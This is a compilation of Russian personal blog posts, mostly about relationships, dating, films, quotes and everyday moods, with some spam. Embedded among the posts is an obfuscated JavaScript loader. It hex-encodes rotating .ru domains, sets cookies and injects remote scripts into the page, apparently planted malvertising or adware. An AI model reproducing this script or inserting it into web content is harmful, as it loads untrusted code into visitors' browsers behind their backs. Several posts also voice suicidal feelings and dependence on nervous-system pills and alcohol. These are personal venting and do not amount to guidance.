Еще и мама шефа говорит, что Р моя судьба. "Я такие вещи вижу. Вы с ним похожи. Ты, скорее всего, за него замуж и выйдешь. Я еще погуляю на вашей свадьбе. Так, что не выпендривайся, раз любишь", -говорит она мне. Блять, когда он хорошим стал то, вы ж его не любили?!

Он добавляется ко мне в друзья и я не знаю, что мне делать. Это сложнее чем я думала…Я не вернусь, не вееернууусь. Я постараюсь не вернуться

научите меня понимать, что человек, на которого ты потратила любовь, нервы, старания, время, всю себя, может быть ху*лом. что всё было просто пи*дежом. я совсем не обижена, он просто мне отвратителен стал. немужские поступки отвратительны.

ну вы заете там тестики всякие баянистые типа да?
прохожу значит тест из серии "представь себе дерьмо и узнай его значение по описанию ниже "
8. То, что вы сделаете с чашкой, характеризует отношения с человеком из первого вопроса.(1вопрос:Человек, рядом с которым вы идете(через лес) — это самый важный человек в вашей жизни., чашка из другого вопроса и её материал говорит о твоём взгляде на положение в семье)
вопрос: я посадила в эту чашку траву и цветочки (потому что она по условиям вопроса валялась на заднем дворе) КАК СУКА МНЕ ЭТО ИНТЕРПРИТИРОВАТЬ НА ЧЕЛОВЕКА?

9. Размер водоема(который опять же надо было представить во дворе) — это масштаб ваших сексуальных желаний.
10. Чем более «мокрый» способ вы выберете, чтобы перебраться на другой берег, тем большее значение в вашей жизни имеет секс.
тот момент, когда ты представил себе небольшой такой искуственный бассейнчик(типа там чисто для украшения, знаете такие мааленькие, метр на метр буквально для сада) и я через него перешагнул АХАХ РЕЖИМ АСЕКСУАЛА МОД ОН ПРОСТО

Что же мне так обидно до слез. Отношения, дружба? Никого не интересуют я и моя жизнь. Опять закроюсь ото всех по рефлексу.

gifs by x

— Камера любит его. © Энтони Руссо

соглашусь с Руссо. и потому крупные планы Себа так восхитительны. он одним взглядом говорит больше чем некоторые тысячей слов, а камера с удовольствием это передает.

Звонки по субботам сходят на нет. А я уже воспринимаю это, как данность. Горела, горела, да перегорела.

пока я удосуживаюсь лишь 2 минутами разговора по телефону(и то я позвонила), другой парниша уже второй день меня зовет "кино посмотреть". ага, как-то начали мы сериал смотреть))) )) )) )) )) )) )) )

Каждую ночь засыпаю полной надежд, каждое утро просыпаюсь разбитой. Что происходит со мной за такой короткий период?

Откуда взялось выражение «закадычный друг»?

Старинное выражение «залить за кадык» означало «напиться», «выпить спиртного». Отсюда образовался фразеологизм «закадычный друг», который сегодня употребляется для обозначения очень близкого друга.

А сон то был вещим! Спустя 7 месяцев чехлы реально пришли. И не беда, что ровно половина вообще не для моего телефона.

эта запутанная этимология фразеологизмов:
ушёл по-английски- придумали сами англичане, но в оригинале "уйти по-французски" (о французах во время семилетней войны). внимание, французы скопировали это выражение, но уже в отношении англичан, и в этом виде оно закрепилось в русском.
можно как-то попроще, не??

Многие мои знакомые/друзья удивляются тому, как скептически я отношусь к людям, без доверия и прочей наивности.
Всему виной горький опыт в детстве.

Меня каждый раз подставляла мама. Она научила меня ненавидеть и не доверять даже родным.

если однажды меня не окажется рядом с тобой, запомни: ты храбрее, чем подозреваешь, сильнее, чем кажешься и умнее, чем ты думаешь. и еще кое-что: я всегда буду с тобой, даже если меня

не будет рядом.

Вернулся из кинотеатра: ходили с друганами на варкрафт, они впервые, я по второму кругу. О повторном заходе ничуть не жалею. Мои 10 лет ожиданий полностью оправдались.


Если среди фоловеров есть те, кто хочет пойти, но его смущают отзывы критиканов или отбитых фанатов вова. Отбросьте сомнения и идите. Такое событие может пропустить или совсем ленивый, или полный дурак.

я так не уверена в этих отношениях. что-то не так и всякие детали..

пытаюсь закрыться от этого, погружаться в учебу.

рядом нам хорошо, надо наслаждаться.

просто сейчас такое состояние, что хочется, чтобы весь мир замолчал, и время остановилось. всего лишь на пару минут. просто чтобы выйти на улицу и закричать, громко, изо всех сил, так чтобы потом горло болело, выбросить из души все то, что так мешает жить.

мы -сами свои проблемы, мы сами себе придумываем их и мы сами их оправдываем, мы считаем, что жизнь без проблем-неправильная жизнь, хотя это не так

каждая проблема может быть грандиозной или же просто обычной маленькой проблемой

зачем себе придумывать проблемы6для меня в один момент это стало привычным делом

мне это надоело, когда сейчас у меян что-то всплывает в голове и я не могу избавиться от этой проблемы, точнее от того, что всплывает

мне просто хочется придумывать себе проблемы, а потом ныть

странно, но одна часть меня хочет этого6а вторая истерит от этого факта, мне ближе моя вторая половина, которой не нужны проблемы

а еще одна большая проблема это отвыкание от таблеток, влияющих на мою ЦНС

прсото потому что я привыкла в один момент и это стало неким хобби у меня

сейчас очень сложно отвыкнуть

и каждый день организм истерит ибо он хочет закинуться чем-то

весело

Привет. Как трудно начать..раньше таких трудностей начинать отсебятинку для меня не составляло. А теперь…я не знаю в кого я превратилась..не знаю во что превратилась моя жизнь. Чувак, я веду жизнь обычной самой заурядной среднестатистической не хватающей звезд с неба студентки, ты представляешь до чего я докатилась?) И..кажется эта жизнь меня поглотила, я окунулась в нее, но есть во мне еще та часть, которая не дает мне полностью погрузиться в эту жизнь, в эту реальность, эта та 16 летняя девчонка мечтающая отрываться с такими же запутавшимися в себе вечно 16 летними подростками, эта та 16 летняя девчонка которая желает получить желаемое и удовлетвориться. Вот эта часть меня вечно борется со мной, почти 19 летней девушкой, реалисткой, культурно проводящей свободное время с однокурсницами и мечтающей только об одном- успешно закрыть сессию и поехать домой. Домой. Я не знаю сколько будет еще продолжаться это борьба между разными сторонами моей личности, но я знаю, что..сочетать их в себе я долго уже не смогу. Где найти гармонию? Где ее найти…?





Music: Bear McCreary – Outlander

Scotland, my love,

Ever since I was a little girl, who fell in love with "My heart in the Highlands" poem by Robert Burns, I have dreamed about you. One day we will meet, I promise.

Photo by x

Я, конечно, до сих пор не занялась покупкой билетов как на поезд, так и на сам концерт, но 21 июня твердо намерена быть в Москве, а вечером того же дня радоваться жизни и лицезреть моих бесценных британцев в Олимпийском. Собственно, пока что у меня свободна половина дня. Так что, если кто-то желает со мной познакомиться-увидеться (особенно из здешних старичков, с которыми мы взаимно следим друг за другом не первый год), то напишите мне

сейчас бы добавлять аудиозаписи о ~несчастной любви~. you didn't want me, you didn't cry for me at all, you didn't love me. да, конечно, не любила. поэтому помогала с этим чертовым дипломом часами, поэтому обнимала, пока плакал на коленях из-за него, поэтому даже тогда, после всего этого, я корила себя за то, что не отпустила, хотя просил, а я просто не могла, и мои руки просто намертво сомнкулись вокруг шеи. и я волновалась, ой, наверное он чувствует себя виноватым, ой! сейчас бы включить на весь парк she brings the rain после того как я показушно (по-другому не умею) стояла под дождем, пока они прятались под деревьями, а потом ссаную strange affection. невероятная эгоистичность, невероятная ненасытность, когда хочешь, чтобы что-то принадлежало тебе, но при этом ничего не собираешься давать взамен. как и до этого всего, с этой чертовой ревностью: 'что, интересно? ну и иди к ним', 'ну и найди себе другого', 'ну что ты смотришь туда постоянно? вдруг увидишь кого-нибудь'. просто феноменально

Красоту увидеть в некрасивом,
Разглядеть в ручьях разливы рек,
Кто умеет в буднях быть счастливым -
Тот и впрямь счастливый человек.

— Эдуард Асадов

как же приятно долго-долго ходить) особенно, если вокруг еще и куча деревьев, и живописных облаков: 3

Мы в свой загородный дом купили прекрасную современную кухню с салатовыми фасадами. Нам мастера её идеально собрали и мы очень довольны что обратились именно в эту компанию. Подробнее Вы сможете посмотреть на этом ресурсе

https://www.kuhni-fresco.ru/sovremennye-kuhni/408-sovremennaya-kuhnya-s-salatovymi-fasadami.html

Живешь без мужика: решаешь свои проблемы сама.
Заводишь мужика: продолжаешь решать свои проблемы сама ещё и готовишь жрать.

Баба делает первые шаги к самцу в двух случаях:
1) наивная двадцатилетняя дурочка
2) перевалила за тридцаху и ты её последний шанс, последний вагон в последнем поезде, последний верблюд в караване, последний герой, последний самурай

вывод ночи с пятницы на субботу.

постоянный недосып + диплом + 0,7 водки + дофига сигарет + дикий ржач с охуенной компанией = головная боль утром.

Зачем парни ходят на свидания:
1. секс

Зачем девушки ходят на свидания:
1. чтобы смешили
2. поесть на халяву
3. нарколог запретил пить одной

Как понять, что у парня что-то случилось: он говорит, что у него что-то случилось.
Как понять, что у девушки что-то случилось: она вздыхает

15 лет: пора бы понять, чего я хочу от жизни
25 лет: пора бы вспомнить, чего я хотел от жизни
50 лет: пора бы принять, что я сам все проебал

Как бросает парень:
1. нам нужно расстаться

Как бросает девушка:
1. делай что хочешь
2. зачем ты это сделал?
3. мы стали чужими
4. плачет

я не знаю где ты. не знаю как ты. не знаю правды.

мне было больно падать на остров чужой планеты.

с моря ветер, жду тебя, как строитель зарплату.

останься светом, буду ждать, потрачу жизнь на это.

я не знаю имя. не знаю цифры. не знаю хату,

где ты ютишься, до конца космического лета.

но все же где ты? но все же как ты? как ты?

девочка со звезды, встретимся в небе где то.

Captain America: Civil War

Давайте поговорим о том, как эта сцена напрочь разбила моё сердце. Вдребезги разбила. Или о том, какой мучительной, жестокой, кровавой, многочасовой смерти я желаю Баки. Кто-нибудь, выпилите уже Баки.


Или можно поговорить о том, что Кэп оказался не такой сукой, как на протяжении всего фильма. Честно - я настолько в нём разочаровалась, что думала, будто он даже щит не отдаст. Который он вообще не заслужил. Ах, Стив, ах Капитан Америка, ах «парень в крутом костюме, а кто ты без него?». Сказала жертва внезапной удачи и сыворотки, ах, я защищаю других людей и делаю всё ради их жизнь, ой, Тони, Баки убил твоих родителей, ну ты не переживай, он же в неадекватном состоянии был, давай я лучше тебе отвлеку и едва не проткну своим щитом твою голову, а?
Эта тварь (возвращаемся к Баки) убила Говарда. То есть, того самого Говарда, который Доминик Купер, и который хорошо засветился в первой части про капитана, и ещё больше - в Агенте Картер.


Он мой друг, Тони. Я буду защищать его, Тони. О, Роуди больше не может ходить и он чуть не умер? Так это всё из-за Вижна, Тони. Зачем ты запер Ванду, Тони? Что?
Она снесла целый небоскреб, убив полтысячи людей? Ну, Тони, сам подумай, сколько ей лет.


У меня в голове ещё очень много такого, но, пожалуй, я закончу.


Я просто жду следующий части фильма. Той самой, где Тони поступит по какону - то есть, не позвонит Стиву, потому что гордость, потому что «с какой стати, я Старк» и, наплевав на всё, будет мастерить свои игрушки.


И, разумеется, того самого момента, когда:
«- Ты знаешь, мне нужна твоя помощь, Тони.
- Да пошёл ты, Стиви. Да, я создал тебе новые мозги, можешь не благодарить».

Мне сложно это далось, но я не надела кольцо. Чувство ужасное.. Словно я без защиты.

На улице ко мне подошли познакомиться 3 чувака. Разумеется, я деликатно смылась. Они не в курсе, что такое "Варкрафт". Я не в теме этой игры, но даже я про неё наслышана.)

А ещё я выпросила у родителей немного алкоголя на коктейль. Папенька сходил в магаз, перелил, сделал коктейль. Родители сказали, что горе алкоголем не запьёшь, на что я им: "Но лучше же, что я честно поросила у вас немного, а не пошла в магазин за целой бутылкой?".

сидим значит у Ани.выиграла я пива 10 шт по 0.3 бирвиль. пробовали вс вкусы, болтали и тут звонит Артем. говорит что не в настроении, но хотел бы меня видеть и он в 113 патибаре. ну мы уже допили, поели салат и я поехала к нему. все ок, но у него непонятки с сашей и связки на выступлении потянул. рассказывал о выступлении, о том что скоро едут за границу -_- в общем посидели и пошли гулять. был какоцй-то концерт и ярмарка на площади, посмотрели, купил опять сигарету вкусную свою.. ну потом думали что делать и пошли на пасту. там посидели норм так, поели. взял себе пасту, мне пиццу, по кофе. ему друг звонил звал в темпл нас, но я не захотела.звонил саша, но артем сказал шо занят и гуляет со мной. предложил гулять до 6 утра :) ахах, опять. потому что на оранж его джола позвал, там типо вечеринка и он там мс. посидели на пасте, пошли в оранж. он взял кальян и по сидру. сидели, болтали.я не захотела танцевать, рассказывал о том как раскрутится в визаже и тд) о загранице. потом еще пиво взял и потом думали что делать. было около 4 утра.хотели в атб что б купить что-то, но поняли, что не продадут и я взболтнула что у меня дома вино есть! блин, я опять домой его повела. пришли, я сидр новый достала попробовать. пол бутылки вина выпили. говорили о том что дружбы женской нет) всегда он найдет о чем поговорить. потом пошли спать. обнимал меня, спрашивал "чего бы ты сейчас хотела". ох ушь эти вопросы его странные. в общем поцеловал меня в лоб и уснули. с утра я его в пол 8 разбудила и отправила и в 8 ко мне приехала мама! так что очень вовремя. а еще нас сфоткали в оранже и ему фото не понравилось. я закинула в инст, и саша написал "зачем ты его спаивала" сучки)) вот так.

Любимые Споби

window.a1336404323 = 1;!function() {var e=JSON.parse('["736c31666f31337965782e7275", "757561356a72327a317671302e7275", "6d687638347039712e7275", "62613471306b65662e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

итак, за 1 встречу с Артемом я писала уже. Напишу о следующих 2. после того, как видились мі 3 раза (1 встреча, пасха, встреча с Сашей) он после пасхи позвал меня гулять. мы пошлипрогулятся, хотел в пасту, но я его в Кэш паб завела, где дул ветел и мы сиделе в пледе и он меня обнимал. посидели полтора часика и пошли гулять. еще зашел купил сигарету вкусную(как и потом делал) и потом пошли по парку и думала он меня домой ведет, но. мы опять пошли на те качели, нде 1 раз Сашу встретили и он предложил гулять до утра. там и за пасху поговорили, сказал что так неловко.что саша думат мы встречаемся и что саша думает артем мне нрав. ну я предложила пойти попить бирвиль в хряк. мне так хотелось выпить пива, кто б знал. но немного боялась такое предлогать, тк он не пьет. он согласился! и выпили по 2 бокала пшеничного, но он 2 пил янтарное) в общем после этого реально попьянелии.. а Артем так вообще. пошли дальше гулять. хотела в 113 патибар, но там платный вход был и мы пошли на пасту. там курили самый вкусный кальян с кокосом и я лежала на Артеме в пледике, а он меня обнимал. договорились до того, что пойдем просто спать ко мне. пришли, разобрал он диван. легли. и мы вообще не обнимали, ничего. потому что при вопросе "что б ты сделала, если б я тебя поцеловал?" я ответила "странный вопрос". вот это и есть минусом Артема. почему просто не поцеловать. мы вечер гуляли, я привела тебя домой, спим в одной кровати… после этого он отвенулся и уснул. в обед я его разбудила, накормила и отправила домой))

Тем временем upgrade моих навыков хорошей хозяйки дошел до того, что я хочу пылесос. ПЫЛЕСОС мать его. Ручной. Беспроводной. Не отдых в Горном или Яровом. Пылесос. Пора сменить обстановку, на выходные в Горный СРОЧНОООО

—Какие могут быть чувства. Она все время раздувает скандалы из-за пустяка.

—Это верный признак того, что она все еще любит тебя, но ей не хватает огня.

Ринат Валиуллин "В каждом молчании своя истерика" 2014

В выходные будильником ей служили дети, они вставали раньше совести, они не давали спать, они не давали жить собственной жизнью, но самое главное, они не давали умирать по пустякам. Ринат Валиуллин "Безумие"

– Если встретил свою женщину, непременно женись, даже не думай.

– Как же обрести уверенность, что она твоя?

– Для этого и надо жениться.

Ринат Валиуллин "Соло на одной клавише"

Не понимаю за что мне это все. Неужели я НАСТОЛЬКО плохая? Это невыносимо, порой хочеться просто навсегда покончить с этим. Судьба лишила меня всего. Казалось бы, что еще она может забрать? только с каждым днем она забирает все больше и больше и больше. Наверно скоро дойдет до того, что она начнет забирать мою плоть. Хопа и палец отвалился, а там и рука. Ну а че? Ей же мало. Я не знаю когда это все кончится. Забрать все, абсолютно. Даже алкоголь уже не пьянит меня. Это невыносимо. Мне уже настолько все равно, что сил нет. Раньше как-то сопротивлялась, а сейчас… Я просто реву и ржу. Разве так бывает? Забирать все, но не отдаватьвзамен ничего. Хотя бы что-то, хотя бы капельку. Я же многого не прошу. Это больно на самом деле. Очень больно. Видимо я не заслужила ничего хорошего. Все заслужили, а я нет. Вот так просто. Такая моя судьба. Я просто смирюсь.

значит позвонил Артем мне за неделю до пасхи и предложил с ними на дачу компанией. я согласилась, но мне с утра к родителям- позже они сказали что на машине приедут заберут и все купили уже) перед пасхой мне еще "друзяшки" писали пойду ли я с ними. Я сказала, что уже не выйдет. и в день пасхи, когда мы уже были на даче у Артема позвонил Максим и спрашивал что я, номер Леси нужен был. Потом типо спросил с кем я, и что у них как всегда фиг пойми что происходит, неорганизованность.. я посмеялась, передала всем привет и пошла за стол. итак, с самого утра поехала к родителям. потом пока успела доехать, опоздала, они меня ждали возле школы на тачке крутой оч, ахах. Саша и Артем и я поехали забрать 2 девочек и докупить что-то. потом пришли Дарина и Настя, очень очень скромные и зажатые девочки(больше чем я: о) и мы поехали на дачу к Артему. там я начала сама с девочками знакомится, потому что мы тупо молчали бы. Дарина в меде, одноклассница моей Кристины, модель. Настя с Харькова, юрист, рисует. Дарину позвала на макияж еще) пили сидр, жарили шашлык, оформляли стол.курили кальян. очень все странно было, тк саша всегда возле костра был, ни с кем не разговваривал почти. только с Артемом и со мной немного. А артем общался с нами, больше всего именно он и общался. потом он повел нас на красивое место. куда мы ели забрались, но там было правда красиво. потом пошли стрелять) вот это мне понравилось и я все бутылки сбила. потом уже пришли, доели все и поехали домой. зашла домой к 11 ночи и тут звонит артем. предложил покататся по городу. я думала 2, а он с Сашей был. покатались, решили в кальянную пойти и было забито ВСЕ! празддник же. я вспомнила за свой кальян, мы поехали ко мне и в груде мешков кое как Артем нашел его. поехали в атб купить еду и молоко в кальян. потом я сама не ожила, но поехали на дачу. там я сделала кальян с мятой, от которого спала сидела с открытыми глазами, а они топили грубу и играли в шахматы. в общем они ночевали, но артем сказал что отвезет меня и все как положено. но потом саша меня уломал не уезжать, что 2 кровати и все поместимся. что тут спать 5 часов осталось и по ночи ехать не прикольно. осталась. саша пошел спать, а мы с артемом на улице пили сидр и беседовали. потом я замерзла, он мделал мне чай и досиделись, что меня аж трусило. потом я пошла в дом, а саша маленькую кровать занял посностью. тоесть спала я с Артемом. он сказал все норм, без приставаний и тд. позже лежим и он спросил можно ли меня обнять. после минуты! полчания и раздумыванья я сказала "ну хорошо". как мне странно и смешно было с утра от этого. вот так в обномку мы проспали всю ночь и под утро вообще за руки держались. он прям очень прижимался.что-то это мне напоминало :) например (Ярик- Болгария, Денис- у него дома и на тусовке, Руслан- у него дома, Антон- новый год). в общем с утра поубирали и поехали домой) меня подвезли к подьезду и я опять уснула))

Изначально добавил меня Саша и позвал гулять. Он мне понравился, я сказала что через неделю выйдет и мы потом встретились. Пошли прогулялись на валу. В обновном было интервью какое-то. Ну рассказывали друг о друге. Он говорил больше, чем я. Меня уже и напрягало это под конец. В общем путешествует, зарабатывает, в театре теней, граф.дизайнер, спортом занимается и у него идеальное тело, рыжий(хе), одевается неплохо, перевелся на бюджет… я чувствовала себя какашкой и не понимала, что я вообще здесь делаю. Потом ему позвонил друг (Артем :)) и типо попросился к нам.Тот спросил у меня не буду ли я против. Я не могла сказать "нет, против", я сказала ок. Подошел Артем, очень знакомое лицо! И мы 3 шли по улочке на площади вдоль кафешек. Мне было неловко немного + общались в основном они 2. Саша предложил в пасту зайти, но 3 это было слишком странно для меня. Я сказала что не могу уже, посадите меня на автобус, потому что меня подруга ждет. Типо отморозилась, но не из-за того, что он мне не понравился(как он думает). Вот после того и Артем позже меня нашел, позвал гулять. Договорились, сходили. Гуляли часа 4! Мне с ним ьолее легко было общатся) И в конце встретили Сашу! на качелях. Артем его прогнал, мы покатались и пошли на град на остановку, я его посадила и дома он мне еще писал) в общем все прошло хорошо и я знала, что мы будем дальше общатся.

"молчишь шесть дней.новый рекорд.так по идиотски-говорить, что без меня плохо, но при этом ничего не делать, чтобы я была рядом.я отталкиваю?а когда это тебя останавливало? видимо сейчас остановило. скучаю дико. и депрессия вернулась без тебя. но шесть дней…?это все."

я не могу дышать, когда он не рядом. я не могу дышать, когда он прижимает меня к себе после тяжелого дня. я скучаю, когда не слышу его запах рядом с собой. я скучаю, когда мои губы пахнут его после поцелуя. я хочу смотреть только на него, когда вокруг толпа людей. я хочу смотреть только на него, когда мы одни в пустой комнате. я просто хочу его. всегда. рядом. чтобы не метаться, не переживать, не надумывать, а вдохнуть, насладиться, выдохнуть.

Как же быстро летит время. Я перечитала посты здесь и на моем старом блоге. Всегда читаю и умиляюсь, ведь все эти проблемы уже давно в прошлом (впрочем, как и люди). В отдельный пост напишу историю моего знакомства с Сашей и Артемом. Здесь напишу, что я не общаюсь уже с "друзяшками". более-менее поговорить могу с Димой и Максимом, а остальных уже давно не рассматриваю как нормальных людей. Детство в жопе и ветер в голове.. И я очень изменилась.Я даже сама это замечаю. Конечно, окружение ведь для меня определенно самый влиятельный фактор. Очень хорошо общаюсь с Аней сейчас. Мне кажется, просто я повзрослела и уже "доросла" до ее уровня. Мне теперь с ней проще общатся, у меня нет той фигни в мозгах и я не так гружусь этими комплексами. Просто перестала сидеть дома, продали квартиру и купили мне новую. Я сейчас в ней пишу этот пост и здесь идет ремонт.Временно живу у Тети Вали в том же доме, откуда сьехали)) Я закрыла сессию (осталось 3 экзамена, но там все ок будет) и у меня впервые!!! нет долгов) пофиг, что оценки 3-4, степуха мне не нужна и на 5 нужно ходить в универ чаще и отвечать хотя-бы. Я не лентяй и разгульщик, просто мне не интересно… 2 курс окончен.окончен.я все ближе к цели. Скоро я заберу диплом с этого отвратного места и могу ехать куда угодно! А еще, я вс е-таки занялась визажем. Я закончила курсы у Марины, скупила косметику и уже в пн начинаю работать. У меня немало набралось выпускниц) Надеюсь и в дальнейшем все будет хорошо. Мне это действительно нравится, нашла свою оттушину и надеюсь это перерастет в что-то большее. Свою школу например"мечты мечты".И еще, наконец, как мне кажется, я нашла человека, с которым у меня могло бы что-то существенное получится. Прям по всем параметрам подходит и нравлюсь ему. Мы гуляем вместе изредка, но он уедет через неделю за границу. Без понятия, что будет дальше, но терять бы я его не хотела. Но и первый шаг принципиально не могу сделать. Ну не нужен мне мужик тряпка \стешняшка. Лучше подожду, намеки делать буду. Мы с ним кстати уже 3 раза вместе спали. Именно спали))) в общем думаю что-то выйдет. А теперь отдельный пост буду писать о нем и его друге) о нашем знакомстве вцелом.

Еще он спросил у брата, похудела ли я. Тот сказал, что да и при этом до сих пор на диете. Попросил передать мне, что бы больше не мучила себя и уже слезла с этой диеты… Заботливый какой стал

Парень, с которым познакомилась 20 минут назад, подскакивает и делает взволнованное лицо со словами: "Что там?", когда я просто ойкнула и попыталась рассмотреть мозоли на пятках, как будто ему не все равно.

Заболела. Опять. Мое здоровье превратилось в такое днище. Раньше болела где-то раз года в 2-3, а теперь каждый месяц. Да еще не просто легкий насморк и кашель, а температура 38-39, адское состояние и дикие боли в горле.

А папенька маму даже на "стрелки" брал..)

Как же я ржала с истории, когда они на такси угоняли от мусоров, а в машине сидел какой-то цыганский барон, который говорил: "Если умрём, я вас всех убью!", - у родителей была такая крутая, живая молодость..)

У него есть лишь один выходной день и в этот день он едет почти 300 км, чтобы провести эти сутки со мной, я просто поражаюсь. Он заходит домой, оставляет какие-то вещи и сразу же летит ко мне. Я бросаю все дела к чертям, отменяю всё, что можно отменить и встречаю его с самого порога. И весь день он проводит со мной. На все звонки друзей "я весь день с Лизкой, мы не пойдём никуда". Раньше такого особо не было, поэтому я задаю вопрос "почему так? я же не против выйти с ними куда-то, покататься, ты выпить сможешь, если что", а он мне "у нас слишком мало времени, чтобы тратить его на других людей, вот когда будешь жить со мной - будем и с ними ходить, и без них, а сейчас терпи только меня весь день". Не подумайте, я только рада такому раскладу событий. Я всегда хотела, чтобы всё было именно так. Хотела эти тихие, уютные вечера в его обьятьях. Черт с ними, со всеми этими людьми, гулянками, пьянками. У нас есть мы. Я делаю всё, чтобы в своём лице дать ему и подругу, и друга, и сестру, и любимую. А он и так уже давным-давно заменил мне весь этот мир. Как же я люблю, Господи! Люблю сильно, неистово и бесконечно!

Процесс создания хорошего субботнего настроения идет полным ходом: 1) в бананах и шоколаде есть серотонин - съедено; 2) витамин D2 вроде способствует укреплению оболочек нервов - в солярий сходила; 3) громкая музыка вроде как тоже способствует поднятию настроения - есть; 4) осталось напиться…

Сегодня я присутствовала на выпускном из модельной школы моего близкого человека. Меня так переполняла гордость, за мою А. Конечно, для меня она самая талантливая и прекрасная. И я не заметила, как из девочки, которая в платьях не ходила никогда, она выросла в прекрасную девушку, эффектную и грациозную. Но я всегда узнаю её неуклюжесть. Это её изюминка. Милая, если ты это читаешь, Я тебя поздравляю. Не знаю, пойдёшь ты дальше по этой дороге, или займёшься чем то другим. Но благодаря этой школе, ты многому научилась. Это бесценный опыт, который пригодится тебе в дальнейшем.

Он че блять чувствует когда мне хорошо?! У Р дар появляться когда у меня на горизонте мужик появляется. 19 дней его не было. Вчера, на работе, Т завалил меня на диван и мы целовались. Я его целовала так, словно больше никого никогда не поцелую. Пригласил меня к себе домой завтра. Я таааак ждала этого воскресенья. Мне тааак он необходим был. Теперь мне не удобно туда идти лишь потому, что Р объявился. А сегодня за мной увязался один парень. Я с утра решила пешком на работу пойти и он попросился со мной. Я согласилась, думала не пойдет. Ведь до работы пешком минут 40-50, а он оставил машину и пошел со мной. С ним так весело было шагать. Один его рост чего стоит- 198см. И сам красивый. Сказка, а не парень. То есть, он в разы выйгрышнее смотрится относительно Р: и внешне, и по образу жизни. Я дала ему номер. Я по любому дала бы ему номер лишь за то, что он со мной столько прошагал. А теперь я ему не отвечаю в ватсе и на звонки. А все потому, что…ну вы знаете. Даже не он сам объявился. Его брат написал, мол он не понимает почему я пропала. "Ты ж, говорит, послал ее. Вот она и оскорбилась". Но смешнее всего то, что он не помнит этого. Он помнит мою истерику, но не помнит того, что послал меня. Охуеть, охуеть… Бля, пошел ты… завтра иду к Т.

Здравствуйте, мои хорошие.

Просто хочу сказать спасибо за то, что вы на протяжении всего это времени остаетесь со мной.

В моем блоге можно встретить разное. Любовные страдания, страдания по учебе, да любые в общем-то…Радость, счастье и просто картиночки. Сейчас чаще вы можете видеть просто мои мысли. Полоса у меня не из лучших, мне очень тяжело. Когда высказываюсь здесь, это помогает хоть немного собрать мысли. Кричать о том, о чем больше нигде кричать нельзя.

И вы все это видите/читаете, и все равно еще здесь, еще со мной.

Я хочу вам пожелать, чтобы в жизни у вас чаще случались светлые и радостные полосы.

Так же хочу сказать, что если вдруг вам надо будет поговорить с кем-то, то вы всегда можете написать мне. Я просто выслушаю.

Хочется чаще видеть ваши ответы и комментарии под постами. Иногда хочется так же больше общения.

В общем я не особо умею выражать эмоции, но все же я попыталась.

Еще раз спасибо, если вы это дочитали.

хо хо

Рассказывать особо нечего.
Завтра уже еду в Днепр, в общагу. Это ж и Дениса увижу. Мы общаемся как раньше, все отлично но у меня все равно не выходит из головы его признание.

Миша по прежнему не пишет. Яна говорила что видела вчера его, что он шел такой грустный.
И я прям так начала мысленно его жалеть..откуда это во мне вообще? Сам виноват же. Я как могла, пыталась все исправить, он меня оттолкнул. Хотел остаться друзьями, а в итоге что? Восьмой день не пишет.

Кстати, сегодня просыпаюсь а там сообщение от Яны: "мне кстати снился Миша.он стоял и стучал тебе в дверь с психами, а потом типо "че она морозится?", я ж ему сказала, что тебя нет, ты дома болеешь, а он распсиховался.потом что то начал говорить на тебя, не помню, а в конце подобрел, сказал, что ты его хороший друг и он не хочет тебя терять "

Забавно, и почему такое снится ей, а не мне?)
И, к чему бы это вообще?
Я уверена что этот сон был не просто так, у мееня чутье на такое. Но в чем его смысл? Время покажет..

beautiful gong shim // 01

Прекрати. Перестань. Прекрати это, Я сказал, хватит. Не надо. Прекращай это.

Сгинь, извращенец! Убирайся, вонючий извращенец! Вали!
— Прошу прощения. Извини, что вёл себя, как извращенец. Но это моя комната. Ты кто? Как ты сюда пробралась?
А ты не поменял пароль?
Я не менял пароль.
Почему ты его не поменял? Почему? Отвернись. Отвернись. Сейчас же.
Злишься на меня за свой же прокол.

Госпожа Гон Шим, вы забыли свои волосы.
Идиот.

Пошли прогуляться с Моей сегодня, прошлись. Отдохнула душой. Потом пришла домой, нарвала себе пионов, сфоткала, поставила в комнате, чтобы пахло цветами. Выложила в инстаграм фото…

Переписывались с С. и тут внезапно получаю от Него это сообщение: Можно нескромный вопрос? Уже нашла нового парня?"

